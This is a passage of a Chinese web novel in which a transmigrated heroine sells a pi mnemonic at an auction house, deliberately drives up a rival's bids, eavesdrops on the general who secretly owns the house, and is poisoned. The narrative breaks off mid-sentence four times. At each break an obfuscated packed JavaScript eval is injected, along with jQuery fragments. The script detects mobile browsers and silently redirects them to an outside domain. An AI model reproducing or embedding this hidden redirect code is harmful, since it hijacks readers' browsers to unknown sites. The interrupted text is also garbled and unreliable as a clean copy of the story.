激烈的竞价声仍在继续,楼下坐的,包厢里藏的,显然各个都是不差钱的主,她顿时计上心头,拉了拉独自在一旁生闷气的陈娉婷,询问道:“你常来这里,可知道这里收不收消息?”
陈娉婷下意识回答:“自然收的。”
忽觉得哪里不对,抬头看向陈念念,问,“你问这个干什么?”
陈念念直言:“当然是有消息要卖。”
“你不要胡来,这儿是京城,可不是你们那乡野地界!”陈娉婷急得站了起来,皱着眉,有些嫌弃,却也隐隐带着担忧,斥道,“你不要以为胡诌个什么东西就可以大赚一笔,先不说这里的每一件拍品都需要经过掌柜的亲自鉴定和估价,哪怕真的骗过了所有人拍卖成功,以后被发现是假的,是要吃江湖追杀令的!你不要命,我还要命呢!”
陈念念不慌不忙地吃了两口菜,见陈娉婷一脸拒绝,知道自己再多解释都说服不了她,想了想,道:“保真,将军告诉我的。”
风慕予名字一出,陈娉婷的神情果然一下就松弛了,她趁机起身,作势要出门,“只需告诉我掌柜的在哪,我自己去,保证不连累你。”
“不用出去。”陈娉婷见陈念念说得镇定自若,不像撒谎,鬼使神差地选择了相信她,拉响墙上的小铃铛,“等着,会有人来找我们。”
片刻之后,一个三十岁上下、管事装扮的男子推开了包厢门。
寒暄之后,陈念念表明自己的意图:“听闻遗珠楼什么消息都能出售,我这儿有关于赤影将军选妻宴考试的消息,遗珠楼可能收?”
得到管事肯定的回答,她却反而发了愁。刚刚在马车上,陈娉婷粗略地同她讲了今日下午的课程,她基本可以确定,陈娉婷口中奇怪的知识,便是她在风慕予年少时教给他的数学和科学常识。有关于这些,她知道的简直不要太多,一时间不知道挑哪个出来探探路更合适。
对了,她想到陈娉婷曾吐槽过“有个叫圆周率的东西,每届选妻宴都要学,是所有参加者的噩梦,我都不知道学了有个什么用”。
风慕予十三岁时便上阵带兵,为了让他更好地掌控战场格局,她特地教了他许多立体几何的知识,顺便教了圆周率,当时他学得太快,没等她默写出圆周率口诀,便已将圆周率前100位通通牢记。对比陈娉婷被圆周率闹得愁眉苦脸的样子,她只觉她的崽可真是聪明伶俐。
莫名有些得意,嘴角不由自主地勾起,借着高兴劲儿,她要来纸笔,毛笔字洋洋洒洒,一气呵成之后,递给管事。
“两位姑娘稍等。”管事出了包厢,去寻掌柜的估价。
陈娉婷完全没看懂陈念念写了什么,越想心中越是忐忑:“我怎么会信了你的鬼话,这么随便写了几笔就想要拍卖,以为这是什么地方?到时候被当成一张废纸扔回来,我也要跟着你被笑话……”
不自觉地来回踱步,不知如何是好,忽拉过陈念念的手,“不行,你跟我赶紧去把管事追……”然而,话未
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446672|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说完,管事主动进了门。
管事手中空空如也,不知道陈念念写的东西去了哪里,笑盈盈地躬下、身,向门外做了个“请”的姿势:“掌柜的有请姑娘楼上一叙。”
待到陈念念走过他的身边,他抬手换做了一个“停”的手势,面上始终礼貌有加,却又带着不容拒绝,显然不允许陈娉婷跟着去。
陈念念没有多话,顺着管事的指引上了楼梯,很快到了三楼。
三楼很安静,放眼望去,只有一条宽且长的走廊,没有竞价声,也没有来回走动的小厮,房间窗门紧闭,封闭的格局与楼下截然不同。
管事为她推开了左转第一间房的房门,她自然地走进房间,却见管事在门外止步,并且关上了房门,没有多在意,她继续向内走。
一个小型的会客室,装潢得中规中矩,正中摆着一套桌椅,一套茶具,一个约莫四十岁,风韵犹存,打扮得极为干练的女人,坐在上首,正低着头,细细研究着管事刚刚送来的圆周率记忆口诀。
见陈念念走近,她站起身相迎:“陈姑娘,请坐。”微微笑了笑,礼貌而优雅,继续说道,“我姓谷,姑娘可以叫我谷掌柜。恕我冒昧,敢问此记忆口诀,是姑娘自创的,还是何处得来的?”
陈念念在桌旁坐下,倒是没想到,遗珠楼的掌柜竟是个女子。
谷掌柜直接报出她的姓氏,便是告诉她早已知晓她的身份,无需自我介绍,同时也暗示她,她的一切都在遗珠楼掌控之中,若是她所言有假,遗珠楼立刻便能追根究底,不会轻易让她逃脱。
虽然她说谎也并不会被查到什么线索,但她莫名地不想骗这位谷掌柜,当然也不能说实话,她不答反问:“谷掌柜,可感兴趣?”
“姑娘所写,属实精妙。”谷掌柜没有因为陈念念的回避而生气,语中赞许毫不掩饰,道,“姑娘开门见山,我也不说废话,起拍价2000两,稍后便可在楼中竞拍,无论最后拍得多少价格,遗珠楼只取1000两代理费用,并保障收款等后续事宜,姑娘是否满意?”
说着,她从桌上拿起一份契书递到陈念念的面前。
陈念念接过契书,当即便点了点头。
想来出售的其它消息也只是如此,没有什么奥秘,是她想多了。
无本生意,她有什么可不满意的。
若不是借着选妻宴的东风,和遗珠楼的牌面,她写的圆周率记忆口诀,在算术不受重视的古时,就如陈娉婷所说,不过一页废纸,如今,有希望为她大赚一笔,区区1000两的抽成,简直是便宜了她。
想了想,她补充道,“我虽不能告诉谷掌柜东西从何而来,但我保证,它的背后绝没有是非,且这样的东西,我还有几样……”
像这样的“废纸”,她的脑子里要多少有多少,只要和遗珠楼搞好关系,多多合作,变废为宝,简直钱途不可限量!
陈念念签好契书,与谷掌柜约定了明日下午详谈合作事宜,告别之后退出了房间,正准备跟着管事下楼,忽听见一个隐隐约约的声音。
声音距离她很远,只那么一声之后,便再也听不见了。
但她不会听错,那绝对是风慕予的声音。
12. 抬价
陈念念刚刚明明在二楼看见了风慕予,却迟迟不见他再现身,一直不明白他去了哪里,现在知道了,他应是一直待在三楼。
可他待在三楼干什么呢?买消息,还是卖消息?
真是太好奇了。
她不由自主地放慢了脚步,一手缩进袖子里打开窃听接收器,一手拿出耳机,戴在右耳上。虽然耳机只剩下了一个,但完全不影响她随时随地吃瓜,想来风慕予也不会闲得每时每刻都带着耳机来试探她吧。
“陈姑娘,这边请。”管事为陈念念引路,实则是在催促她。
陈念念感觉到,遗珠楼三楼必是藏着什么秘密,所以才不让人随意来去,也不让人久留,不知是否与风慕予的到来有关。
她专心听着,听见了脚步声、开门声,甚至书页翻动的声音,却没有找到风慕予,皱了皱眉,意识到频道可能没有调对。
她低着头,不懂声色地调整频道,一时没有注意看前方,直直撞在了拐角的栏杆上。踉跄着向后退了两步,她伸手扶住栏杆,能够轻松地起身,却故意身子一歪,整个瘫坐在了地上。
“实在抱歉,腿有点麻了,请稍等我片刻。”
遗珠楼中的声音太过杂乱,若她回到二楼,一、二楼的竞价声怕是能把她的耳朵炸了,还是赖在三楼,先将风慕予的频道锁定了再说。
管事有些为难,但也不能强行拉陈念念下楼。
陈念念捣鼓了一会儿,终于听见了风慕予的声音。
她站起身,冲着管事轻轻笑了笑,健步如飞地回到了二楼包厢。
陈娉婷亲眼看着管事毕恭毕敬地将陈念念送回,看着陈念念手中盖着遗珠楼印戳的契纸,目瞪口呆,回过神后,忙拉住陈念念的手,说:“将军大人还和你说了什么?你可答应了我,要全都告诉我的!”
“拍卖结束,全告诉你。”陈念念推开陈娉婷的手,调了调耳机音量。她自然不会出尔反尔,但现在,她要先听一听风慕予在做些什么。
风慕予:“楼外可有异样?”
“回将军,暂未发现异样。”
声音有点耳熟,没记错的话,应该是在山寨时和她见过两面,身上总背着两把剑,专门负责为风慕予善后的男子。
原来,他的名字叫做惊蛰。
风慕予:“继续留意。”
顿了顿,又说,“将谷雨叫来。”
话音落下不多时,推门声响起,脚步声短促轻盈。
“主人,这是今日所有的拍品,和参加者名单。”
谷雨,正是刚刚和她达成了交易的谷掌柜。
霜降,惊蛰,谷雨,风慕予给手下起的名字还挺有规律。现在看来,他不但不是来砸场子的,还极有可能是遗珠楼真正的幕后之主。
她听陈娉婷说,遗珠楼起初不过是个倒卖小道消息的茶楼,三年前,皇帝为赤影将军举办选妻宴,将军府总出些奇奇怪怪的招数,难倒了所有参加者,随后不久,遗珠楼开始以拍卖的形式出售与选妻宴有关的消息,准确度极高,吸引了一大批有心之人,使得遗珠楼声名鹊起。
原来,都是风慕予自导自演。
可他自己出卖自己的消息,有什么好处呢?
纸张不断翻动的声音,窸窸窣窣,轻而细碎。
风慕予:“果然都来了。”
“主人放心,属下已派人盯紧她们。”谷雨说着,话锋一转,“方才陈家三小姐送来一份拍品,甚是新奇,主人可需要过目?”
风慕予自托盘中拿起折叠的纸张,随手打开,草草扫了一眼,很快评价道:“陈家三小姐,陈念念,惯会投机取巧。”
投机取巧?
就你死记硬背最厉害!
哼,背后说人坏话,竟然还指名道姓的。
谷雨为陈念念说话:“主人年年如此刁难,陈三小姐却能够总结出如此简单易懂的口诀,着实心思聪慧,十分有趣,属下倒是认为,此口诀或将成为今晚的最大热门之一,为此次拍卖创造不菲的收入。”
风慕予没再接话,只问:“如今还差多少?”
谷雨:“50万两。”
还差50万两?什么意思?
风慕予出卖自己的消息,是为了钱?
他要这么多钱做什么?
风慕予:“抓紧时间。”
谷雨:“是,属下定当竭尽全力。”
……
直到风慕予和谷雨的谈话彻底结束,谷雨退出房间,耳机中再没有传来其它声响,陈念念始终没有听到,风慕予要那么多钱的原因。
身为镇国将军府唯一的继承者,被皇帝一家捧在掌心的宠儿,堂堂赤影将军,他的生活虽算不上纸醉金迷,但绝对无需为钱烦恼,他为什么要用这种方式敛财?他究竟在暗中谋划着什么?
难道,他想要招兵买马,意图谋反?
不,不可能,她从小就教育他,要成为一个忠君爱国,对江山社稷有用的人,不要让百姓遭受战乱、贫穷之苦,他曾发过誓不会违背她的教导,更何况,整个黎国待他不薄,他没有生出异心的理由。
或者,他想要……
不知不觉将要陷入沉思,一阵响亮的鼓掌声却打断了她的思绪。
“啪啪啪啪啪……”
拍卖会正在如火如荼地进行着,激烈的掌声,是因为第五件拍品拍出了今晚到目前为止最高的价格——10000两。拍得者燕梦瑶,包揽了到目前为止所有与赤影将军有关的拍品,气势正盛,引得全场注目。
“啪——”
陈娉婷刚刚没忍住,又参与了竞价,与燕梦瑶一番角逐之后,一气之下,又将号码牌狠狠地扔在了桌上,“气死我了,气死我了!”
陈念念拿起桌上的号码牌,走到栏杆旁向下看,一眼便望见了人群中央的燕梦瑶,脸上挂着胸有成竹的笑意,似乎对一切志在必得。
看了看手中的号码牌,她觉得来都来了,她也得参与一下才对。
想到一个好玩的东西,她喊出系统:“坑货,来个情绪显色器。”
系统:【5积分,拿去。】
随后又忍不住吐槽,【每次花这种钱,你总是眼睛都不眨一下。】
陈念念拿出情绪显色器,没再搭理系统。情绪显色器的外观就像一个银戒指,她将它套在左手食指上,对准了楼下的燕梦瑶。
明亮的黄色,说明燕梦瑶现在心情非常好。
她狡黠一笑,举起号码牌参与竞价:“7000!”
燕梦瑶:“8000!”
“10000!”陈念念喊出价格。
可拿着号码牌的手却怎么也举不起。
“你是不是疯了?以为是10000个铜板吗?”陈娉婷牢牢地压住陈念念的手,劝阻道,“别闹了,就算把你卖了,也卖不出100两!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446673|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>明明是担忧的话语,却总说的不那么让人舒服。
“放心。”陈念念说得蛮不在乎,用另一只空着的手,掰开陈娉婷的手,不但没有放弃,反而提高了报价,“15000!”
燕梦瑶听着价格,面上微微笑着,手掌却已握成了拳。
原本一切都在她的预料之中,可从刚刚开始,价格一下子超过了她的预估,并且加价的速度太快了些,但她的目标就是要将所有与赤影将军有关的消息都垄断,只有这样,她才能在七日后的考试中占得最大的优势,夺得头名,与风慕予有更进一步接触的机会。
她咬了咬牙,再次举牌:“20000!”
陈念念一直关注着情绪显色器。
橙红色正在迅速变为鲜红色,她觉得还可以再浪一波。
“25000!”
燕梦瑶:“26000!”
情绪显色器整个变成了鲜红色。
忍耐到极限了。
陈念念放下号码牌,不准备再继续竞价。
……
“今日的最后一件拍品,来自一位神秘的卖家,圆周率记忆口诀一份,世间独一无二,能够解决困扰诸位多年的……”
陈念念二话不说,直接举牌:“20000!”
燕梦瑶:“21000!”
才加1000,变小气了。
陈念念略有些不满意,只能自己动手,直接道,“30000!”
燕梦瑶忍不住抬头看向陈念念所在的包厢,可惜,纱帘遮住了包厢内的一切,除了一块伸出纱帘的号码牌,其他什么也看不清。
她咬了咬牙,拳头松了又紧,终于举牌:“31000!”
最后,燕梦瑶以55000两的价格,拍得了圆周率记忆口诀。
至此,拍卖会正式结束。
陈娉婷看着陈念念一顿操作,却什么也没有拍到,很是不屑,对于几乎包揽全场的燕梦瑶,同样嗤之以鼻,“明明就恨不得直接黏在将军身上,还非要装出一副清高的样子,什么‘可否与将军切磋一番’,‘将军莫不是看不起梦瑶’,让人作呕,真想找人打她一顿!”
陈念念看了看陈娉婷的模仿,别说,那扭捏劲儿,还挺像。
夹了口菜,又倒了杯茶,她饶有兴致地看向情绪显色器上刺眼的鲜红色,久久不退,想象着燕梦瑶憋屈的内心,整个人十分舒畅。
既然风慕予想要这样赚钱,那她就努力帮他创收,虽然他总是待她不好,但没办法,她就是得让他事事顺心顺意才行。
顺便,她还给自己出了口气。
燕梦瑶在花园会上借她上位,暗讽她,也不是什么好相与的。虽然反派关怀分部总给她灌输一些大爱观念,但她实在做不到打不还手。
打一顿骂几句算什么,软刀子割人,才真的痛呢。
一楼,燕梦瑶的面上始终保持着微笑,笑意却不达眼底。
她早已看出,那个包厢里的人根本就是在针对她,疯狂同她抬价。是她冲动了,竟走入那人的圈套。她中途也想过放弃,可偏偏那人总能在她想要放弃前率先退出,仿佛能够看穿她的心思。
东西虽都拍到了,却花了超出预期几倍的价格。她明明吃了大亏,却不能生气,不能反悔,只能笑着,看所有人上前恭喜她的满载而归。
她低下头,刘海遮住了她的眸光,眼底浮现出一丝阴冷。
13. 话本
陈娉婷起身,拍了拍陈念念的肩:“如厕,你去不去?”
“……”
咋的,古代也流行手拉手上厕所吗?
陈念念拒绝:“不去。”
陈娉婷也不强求,嘱咐了一句“等我一起回去”,出了包厢。
陈念念百无聊赖,回头看向楼下,却发现燕梦瑶不见了。
燕梦瑶今晚花了二十几万两,对任何人来说都不是个小数目,光交款收货的流程便要花去不少时间,不可能这么快离开遗珠楼。
她又细细找了找,确定燕梦瑶已不在一楼,想着或许是被管事请去了哪个包厢,视线一转,在楼梯处看见了一抹行色匆匆的鲜红。
看架势,摆明了是要来找她麻烦。
她当即站起身准备离开包厢,想了想,又原位坐下了。
燕梦瑶代表燕国,身份无可动摇,她下意识觉得得尽量避免和燕梦瑶发生正面冲突,可转念一想,她已经不是黎国长公主了,并不代表黎国,只是一个平平无奇的炮灰而已,有什么好顾虑的?
随便气一气便坐不住了,可见燕梦瑶的心性,也不过如此。
她倒是好奇,燕梦瑶看见她时,会是什么样的表情。
“笃笃笃——”敲门声平静而规律。
陈念念没有起身,只警惕地望着包厢门,心中疑惑。
燕梦瑶素质这么高,都怒火中烧了,还记得先敲门?在她的预想中,燕梦瑶应该会一脚把门踢开,随即一剑架在她的脖子上。
更好奇了,她故作平静地回道:“请进。”
包厢门立时开了。
但推开门的,却不是燕梦瑶。
风慕予照例一身黑衣,笔挺地站在门外,个子实在太高,额头险些要撞在门框上,稍稍垂下眼看向包厢内,神色平静。
看见桌边的陈念念,也没有什么特别的情绪,似乎早就知道是她。
陈念念却吃了一惊,急忙起身走到门前,冲着风慕予笑了笑,殷勤道:“将军大人,真巧了,你怎么也在这儿,来,进来坐坐……”
她趁机探出头看了看走道两边,发现燕梦瑶已经走出了楼梯,正向着她所在的包厢走来,但路上遭到了小厮的阻拦,双方互不相让。
燕梦瑶若知道包厢里的人是她,最多和她争执几句,但若是看见了风慕予,风慕予的生意怕是要黄,还会引发很多不必要的麻烦。
想到这点,趁着燕梦瑶还没有发现他们,她一把抓起风慕予的手臂,也不管他来做什么,出了包厢,拉着他便头也不回就往走道另一边跑,“不,还是不坐了,在里面闷了几个时辰,我们出去透透气吧……”
风慕予不明白陈念念的意图,却不自觉地任着她将他拉到了拐角。
在墙后停下脚步,他看见她几乎要凑到他胸口的脸,才意识到了不妥,冷冷地甩开她的手,质问道:“陈三小姐,这是何意?”
陈念念顺势将被风慕予甩开的手撑在了他身侧的墙上,挡住他的去路,也不再和他扯什么借口,如实道:“将军大人,你刚刚也发现了吧,燕梦瑶正在找我,她可是今晚最大的冤大头,若是发现了将军大人也出现在这儿……你应该不想煮熟的鸭子就这么飞了吧?”
她歪过头,指了指走道的另一头,“看,她来了。”
风慕予没有顺着陈念念所指看向燕梦瑶,反而低头看了看陈念念。
他刚刚猜的没错,她果然是故意抬价的。
而且,她知道的,似乎比他想到的还要多。
陈念念见风慕予并没有往回走的意思,放心地收回了手,想了想,以风慕予的身手,若真的想要走出去,她其实根本是拦不住的。
她站到风慕予身侧,半蹲下、身,贴在墙上,向外探出半个头。
走道的另一头,燕梦瑶不顾小厮的阻拦,如愿来到了陈念念的包厢外,如陈念念所想,她一脚踢开了包厢门,气势汹汹地走进包厢。
可惜,她来迟了,包厢内早已空无一人。
扑了个空,心中更是不甘不愿,片刻之后,她带着人走出包厢,眼底更多了几分令人胆寒的狠厉。左右察看,她显然仍不愿就此罢休,准备沿着走道挨个包厢继续搜寻,但被闻讯而来的谷掌柜拦下。
谷掌柜笑意盈盈,温声软语,似乎完全不为燕梦瑶的硬闯而感到生气,但她身后跟的,都不是普通的小厮,而是一等一的高手,与燕梦瑶身边的侍卫不相上下,一旦出手,燕梦瑶讨不到半点好处。
燕梦瑶也意识到,在别人的地盘上不宜做得太过,无奈掩下怒气,就着谷掌柜给的台阶,识趣地离开了二楼。
下楼之前,她回头看了包厢一眼,眼中冷意,似有所指。
陈念念看着燕梦瑶的身影彻底消失在走道尽头,知道接下去已无瓜可吃,有些失望地直起身,看见身边的风慕予,顿时又有了兴趣。
风慕予为什么要用遗珠楼敛财?
风慕予为什么会敲她的包厢门?
风慕予看见了暴露本性的燕梦瑶,会不会对选妻宴产生影响?
……
还有很多问题等着她去进一步探索。
她转过身面对风慕予,刻意挽了一下耳边的碎发,轻轻笑了笑,柔声说道:“将军大人,刚刚冒犯了,我们可以出去了。”顿了顿,又挑起话题,“找小女子可有什么事?无论是什么事,小女子都会……”
风慕予向来不是个有闲心的人,能耐心等到陈念念把瓜吃完,没有离开,确是因为有事找她。不多废话,他拿出一本书递到她的面前,明明是问句,语中却透着十足的肯定:“是你的吗。”
他知道今晚除了遗珠楼的人外,只有陈念念上过三楼,当他在三楼的栏杆旁捡到这本书时,便断定它是属于陈念念的。
他并没有打开看,但无意中在书的一角看见了一个名字。
陈念念看向风慕予手中的书,矫揉造作的笑容顿时僵住。
书的封面上清晰写着——《我与赤影将军二三事》,正是她前些日子在地摊上买的那本,她下意识摸了摸袖子,果然没了。
心中顿时有成千上万头像羊一样的动物飞驰而过,她的第一反应是死不承认,可听着风慕予的语气,显然没有给她任何否定的空间。
风慕予细细观察着陈念念的神色,知道她分明已经认出,试探着翻开书前几页的折角,想看看里面有什么,让她不愿意承认。
陈念念眼中一惊,立刻伸手压住风慕予准备翻页的手。
“没错,是我的,刚刚不小心掉在了楼上,多谢将军大人归还……”说着,她手上用力,想要将书拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446674|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回。
可风慕予却紧紧抓着书页,分毫不让。
她只得继续解释,“将军大人恕罪,小女子实在是仰慕将军大人多年,想要了解更多关于将军大人的事迹,却苦于没有途径,才会出此下策,小女子以后再也不敢了……”
认了认了,现在承认,最多是个买卖非法出版物的罪名。
如果他只是随手翻了翻,应该还没有发现其中真正的问题。
她也是今日在包厢里看了几页才发现,她买的三本话本里,竟然混着一本小黄书!
明明开头还挺正经的,看着看着,画风突变,书中主角不明就里便开始干柴烈火,云雨巫山,个中情景,看得她一个看过不少小黄书的人都觉得十分刺激。
但它最可怕的地方,还不是黄。
而是,它黄的竟然是赤影将军和黎国长公主。
也就是——以前的她和风慕予!
古代人的脑洞也这么大吗?也喜欢强行乱组cp吗?
哪怕她已经换了一个身份,看见书中内容依旧不忍直视。
更不能让风慕予看!
风慕予不明白陈念念在思考着什么,只见她花里胡哨的脸上神色变了又变,却还要故作真诚地和他解释,必是有所隐瞒。
她为什么要买这个书?又为什么要丢在三楼?
她知道书上的名字于他而言的意义吗?
心中疑惑更甚,他想了想,却只问了一句:“哪里买的?”
“地摊上买的,这种话本,小巷子里到处都是……”
陈念念说的是实话,当初她买这本书,只是因为顺路看到了。
说起来,这样的情形还是她当年造成的,原先黎国的印刷出版都由官府把控,她带来活字印刷术后,使得印刷成本骤然下跌,非官府出版的话本越来越多,因价格低廉,内容有趣,深受民间百姓的喜爱。
难道,风慕予也喜欢看话本?
“将军大人若是也对话本感兴趣,小女子可将家中私藏借与将军,但此册小女子尚未阅完,可否请将军大人先还……”
看话本可以,看小黄书,万万不行。
风慕予将书扔给陈念念,命令道:“带我去。”
他知道,这些非官府所出的,有关于皇室贵胄、朝廷命官的话本,利润颇丰,因无伤大雅,官府一直睁一只眼闭一只眼。
但是,涉及到了那个名字,绝没有那么简单。
八年前的那件事后,整个黎国再没有人敢提那个名字。
如今,为什么会忽然出现在话本上?
“现在?”陈念念犹豫道,“今日天色已晚,不如……”
风慕予直接打断了她,语气不容拒绝:“现在。”
行吧,你说现在就现在。
陈念念妥协道:“将军大人稍等,小女子回去和妹妹说一声。”
她转身走回包厢,见包厢门关着,没有多想,直接推开门。
包厢内一切如常,燕梦瑶并没有做什么破坏。
但陈娉婷并不在,也不知上个厕所上到哪里去了。
“那我们走……”
她知道风慕予跟着她到了包厢门外,正准备转身出门,忽感觉到一只强而有力的手牢牢抓住了她的手臂,迅速一拉,将她拉进怀里。
14. 中毒
陈念念:“?”
风慕予又对她耍流氓是几个意思?
她的脸被他整个捂在胸口,几乎喘不过气来,下意识挣扎,想要挣脱他的钳制,却敌不过他的力气,想要说话,也说不出一个字来。
风慕予抱着陈念念出了包厢,一脚踢上包厢门,才终于松开手。
陈念念推了推风慕予,向后退了好几步,直到背靠在墙上,大口喘着气,不明所以地问:“将军大人,你这是要、要做什么?”
掩下眼底的一点异色,风慕予波澜不惊地说:“有毒。”
他常年遭到暗杀,遇见过的刀枪剑戟、毒药机关数不胜数,也对此多了许多研究,只要毒药有一点点的味道,便能够捕捉到。
他一见陈念念推开门,便觉得不对劲,很快意识到,毒药藏在门上,推门之后触动,迅速散入空气,看着陈念念身处毒药之中,下意识上前想要将她拉出包厢,防止她吸入更多毒药而丧命。
但直接用身体挡住她的眼耳口鼻,却是连他都没有想到的。
“什么毒……”
陈念念刚想继续问,忽感觉头晕得厉害,四肢一下失去了力气,向前踉跄了一步,跌在地上,嘴角有温热的液体留下,用手抹了一看。
是血。
黑色的血。
真有毒,还是个剧毒。
上次的毒还没好全,无缝衔接再中毒!
风慕予站在陈念念的身侧,低下头看她,昏黄的灯光落在他的侧脸上,明明该是温暖的,却只留下了一片冰凉,长长的睫毛如覆盖着厚厚霜雪,平静的眸光中没有一点慌乱,更没有任何一丝关切。
和之前的那个夜晚如出一辙,明明白白地诉说着——
你躺着吧,会有人来救你的。
下一秒,“会有人”就位。
惊蛰不知是从哪里冒出来的,一下落在风慕予的身前,背上背着三把长短不一的剑,微微躬身,双手抱拳,严肃道:“属下来迟。”
陈念念皱了皱眉,不明白为什么风慕予明明刚刚还主动救了她,一转眼怎么又变成了这副无情无义的模样,略一思索,跌坐在地上的身子向他的身上一倾,一把抱住他的腿,先不让他走再说。
风慕予没有说话,随意地一抽脚,没有抽开。
再用力一抽,还是没有抽开。
怎么可能在同一件事上失误两次呢,经过上一次的教训,陈念念非常严谨地改进了自己的姿势和手法,保证风慕予一时半会甩不开她。
她的头靠在风慕予的衣摆上,死死环抱着他的脚,面上隐有几分得意,语中却可怜极了:“将军大人,小女子是快要死了吗……”
风慕予不为所动,冷冷道:“拉开她。”
惊蛰领命,立时蹲下、身,伸手便要拉起陈念念。
陈念念没有看惊蛰,艰难地昂起头看向风慕予。
视线自下而上,她根本看不清风慕予的神色,只能看见他光洁白皙的下巴,知晓他的脸明显偏向了另一侧,根本不愿意理睬她。
可她偏偏要缠着他。
她的任务目标是他,可不是什么惊蛰谷雨霜降。
委屈地咬了咬嘴唇,她故意暧昧不清地说:“为什么要抛下小女子?将军大人刚刚将小女子抱在怀里时,可不是这般模样的,小女子做错了什么,要这样将小女子推开,任由别的男人欺凌……”
“……”
惊蛰伸出的手顿时一僵。
不得了,他家不近女色的将军竟然抱了陈三小姐。
“今日来此,只为拍得一件拍品,留作往后纪念,不曾想,燕国公主不但抢走了所有的拍品,竟还要至小女子于死地……”
趁机拉踩一下燕梦瑶,必须的。
“小女子出身低微,死不足惜,燕国公主身份高贵,可也不能如此草菅人命,若今日开门的是我的妹妹,我该如何同家里交代……”
继续说着,越说越是动情,眼角成功地挤出了泪水。
“小女子不远万里自边城来到京城,只为能够见将军大人一面,今日小院一叙,心愿已了,只是那约定的地点,恐不能带将军大人去了,若将军大人能救小女子一命,自然,不救也是无碍的……”
……
惊蛰听得一愣一愣。
身为贴身剑侍,他竟不知道他家将军和陈三小姐有这么多故事。
“将军大人,小女子只求……”
“好好说话。”风慕予打断了陈念念。
微不可见地皱了皱眉,他终于回过头来,眸光一如既往的平静,看不出任何的喜怒,在陈念念身上顿了顿,才告诫道:“放手。”
他周身的冷意更重了些,似是忍耐到了极限。
陈念念却知道,她得逞了。
风慕予迟疑时那一点无奈,泄露了他的妥协。
她曾经和他朝夕相处数年,摸清了他所有的性格和习惯,哪怕现在他看上去完全变了一副模样,但隐藏属性还是和从前一样。
生人勿进的冷面将军,其实,经受不住胡搅蛮缠。
更经受不住,她的胡言乱语。
“遵命,将军大人。”她听话地放开风慕予的脚,眼眶里的泪水说收就收,面上的委屈一瞬荡然无存,同时多了几分笑意。
身子一下子放松,她才感觉到剧毒已经蔓延到了全身,无力地躺在风慕予脚边,等待着他弯下腰,小心地将她打横抱起。
风慕予也确实如陈念念所想,弯下腰,准备亲自救她,不过,他只伸出了一只手,像拎兔子一样将她捞起,随意地甩在了肩膀上。
陈念念的脸贴在风慕予的背上,视野狭窄且颠倒,非常不适,忍不住表示不满:“将军大人,不能换个优雅一些的姿势吗?”
风慕予果断拒绝:“不能。”
话音刚落,他几步上前,到了走道尽头,一翻身,出了窗子。
陈念念只觉身子一晃,赶紧抓住风慕予的衣袖,不再多话。
小命要紧,她怎么忘了,他从来不走寻常路。
感觉自己发现了个大八卦的惊蛰:“将军和陈三小姐……?”
匆匆赶来却没能看上好戏的谷雨:“将军和陈三小姐……?”
众所周知,他们将军可是非常讨厌和人有任何身体接触的!
暮色深沉,月光稀薄,繁华的街市正在逐渐变得安静。
风慕予扛着陈念念翻身上了屋顶,轻车熟路地在高高低低的屋檐上一路疾行,迎着夜晚的凉风,将整座城的灯火踩在脚下。
陈念念渐渐适应了视野颠倒的感觉,努力调
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446675|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
整了一个较为舒适的姿势,尝试和风慕予搭话:“将军大人,我们这是去哪儿?”
没有得到任何的回应,她表示习惯了,立刻换了一个新话题,“将军大人今日为何会来到遗珠楼,可是有什么想要的东西?”
等待了片刻,行吧,再换一个,“小女子听闻,若有人阅尽弱水三千,仍不取一瓢,必是心有所属,将军大人孤身多年,莫不是早已有了心仪的姑娘?没有姑娘的话,那便是有了心仪的小公子……”
风慕予忽停下脚步。
陈念念下意识反省,是不是自己问得太过直接了,虽然她曾教过风慕予很多现代的知识,但他在思想上终究只是一个保守的古代人,正准备解释得更委婉一些,忽感觉周遭的气氛不太对劲儿。
一种似曾相识的不太对劲儿。
陡然间,刀光剑影划破夜空。
数十名黑衣人出现在了空旷的屋顶上,将他们团团围住。
